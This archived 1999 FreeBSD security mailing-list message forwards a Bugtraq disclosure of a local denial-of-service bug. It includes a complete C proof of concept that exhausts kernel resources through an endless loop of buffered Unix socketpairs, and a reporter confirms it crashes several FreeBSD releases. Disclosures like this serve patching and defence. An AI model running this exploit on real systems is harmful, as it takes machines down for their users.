From owner-freebsd-security  Wed Sep  1  9:33:20 1999
Delivered-To: freebsd-security@freebsd.org
Received: from tad.cetlink.net (tad.cetlink.net [209.198.2.10])
	by hub.freebsd.org (Postfix) with ESMTP id 892E114D07
	for <freebsd-security@freebsd.org>; Wed,  1 Sep 1999 09:33:14 -0700 (PDT)
	(envelope-from jeff@tad.cetlink.net)
Received: (from jeff@localhost)
	by tad.cetlink.net (8.9.2/8.9.1) id MAA00386
	for freebsd-security@freebsd.org; Wed, 1 Sep 1999 12:33:06 -0400 (EDT)
	(envelope-from jeff)
Message-ID: <XFMail.990901123306.jeff@cetlink.net>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
Date: Wed, 01 Sep 1999 12:33:06 -0400 (EDT)
Organization: CETLink.Net
From: Jeff Wheat <jeff@cetlink.net>
To: freebsd-security@freebsd.org
Subject: FW: Local DoS in FreeBSD
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.org

I have just verified that this code will indeed crash the following
systems:

        Intel: 2.2.2, 2.2.6, 2.2.7, 2.2.8, 3.0, 3.1

        Alpha: 4.0-19990809-SNAP


Regards,
Jeff

-----FW: <Pine.LNX.4.10.9908270039010.16315-100000@thetis.deor.org>-----

Date: Fri, 27 Aug 1999 00:43:47 -0400
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: "L. Sassaman" <rabbi@QUICKIE.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Local DoS in FreeBSD

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This was first posted to the FreeBSD security list on the 9th of August,
subsequently discussed on freebsd-stable and freebsd-hackers... no one
seems to care, even though it is able to lock up 2.2.6, 2.2.8, and 3.2.x
machines consistantly. I have also been told that it affects NetBSD and
OpenBSD, though I haven't confirmed it.

Someone with the know-how care to fix?



L. Sassaman

System Administrator                | "Even the most primitive society has
Technology Consultant               |  an innate respect for the insane."
icq.. 10735603                      |
pgp.. finger://ns.quickie.net/rabbi |                    --Mickey Rourke


- ---


#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }

        return(0);
}
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v0.9.10 (GNU/Linux)
Comment: OpenPGP Encrypted Email Preferred.

iD8DBQE3xheKPYrxsgmsCmoRAiG+AJ9SbzLCXaYNkj/X7eg7uvljsSvATwCg+d91
TkVIqNdQpRi8CK9vySilouE=
=7ufs
-----END PGP SIGNATURE-----

--------------End of forwarded message-------------------------


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message